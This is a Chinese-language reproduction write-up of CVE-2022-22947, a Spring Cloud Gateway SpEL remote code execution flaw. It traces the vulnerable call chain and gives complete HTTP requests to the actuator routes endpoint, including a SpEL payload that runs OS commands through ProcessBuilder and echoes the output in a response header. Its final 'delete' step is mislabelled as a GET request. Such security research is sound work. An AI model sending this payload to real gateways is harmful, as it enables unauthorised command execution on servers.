CVE-2022-22947 Spring Cloud Gateway SPEL RCE復現
0 環境搭建
影響範圍:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
p牛的vulhub已經搭好docker了,//github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone //github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然後idea打開項目,再調試或啟動
1 漏洞觸發點
首先找到spring-cloud-gateway的commit記錄,看看修改的地方,直接來到//github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
如下:
非常標準的spel表達式使用,代碼在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其調用位置
三個枚舉調用都位於ShortcutConfigurable內部的枚舉類ShortcutType中,且重寫了不同的normalize方法,繼續向上找ShortcutType#normalize方法的調用
最終都來到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中,並且傳入的時該類的properties成員變量,而normalizeProperties()方法的調用只出現在該類的父類AbstractBuilder.bind()中
繼續向上尋找bind方法的調用
發現org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
方法中不僅出現了bind方法調用,還出現了properties方法調用,跟進該properties方法可見對properties成員變量的設置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties
方法中向下調用spel表達式時恰好需要的properties成員變量。
由此即可知道該漏洞的觸發可能來自於gatewayFilter的添加,並且從loadGatewayFilters方法繼續向上跟蹤調用如下:
RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route
也可以看到確實來自於filter的添加。
所以思路可以出來,由於添加filter時輸入了spel表達式,被當作properties進行解析,最終導致惡意表達式被執行,從而實現rce。
再從spring cloud gateway的文檔進行查看
文檔的11.5中提到,使用POST請求/gateway/routes/id 並使用json格式的數據,可以創建一個route,並且從前面的格式中也可以看到,支持添加filter。
但沒有給出filters字段中具體應該怎麼寫,但沒關係,我們從源代碼可以找到
org.springframework.cloud.gateway.filter.FilterDefinition
這個filter的定義類中,其成員變量如下
運行程序後,再mappings裏面可以看到/routes/{id}這個uri對應的方法
跟進該方法可以看到對filter給進的name有驗證
調試模型下可以看到允許的name如下
這裡的每種name,實際上又對應了不同的GatewayFilterFactory
其中有個AddResponseHeaderGatewayFilterFactory可以向response hedder中寫入執行結果,因此恰好滿足回顯要求
根據這裡的getName和getValue可以知道還需要添加name和value字段
2 構建poc
根據前面的信息,可以逐步匯總出poc的樣子,
- 首先是POST /actuator/gateway/routes/{id}
- 然後添加json body,其中需要給出id和filters字段
- 其中filters字段需要給出name和args,而name的值需要設置為AddResponseHeader獲得回顯,args中需要name和value
最終poc如下
- post請求創建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "//test.com"
}
- POST請求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
由於前面使用的spel是ping百度的,所以需要等待一會,也可以換成其它命令,比如dir、ipconfig、whoami等
- GET請求/actuator/gateway/routes/test,觸發spel,並得到回顯
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
得到ping命令的輸出
- DELETE請求刪除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
3 總結
昨天在twitter上看到了這個rce,沒有太注意,昨天晚上看到通報,感覺這個洞還是有價值的,想着今天來複現應該差不多,結果P牛昨天就把docker上傳到vulhub了,y4er師傅也寫出了分析文章,跟不上啊= =
p牛和y4er師傅用的是spring自帶的類處理命令執行的返回位元組流,我用的是之前找到的jdk自帶方法,其實都差不多
參考
//github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
//y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/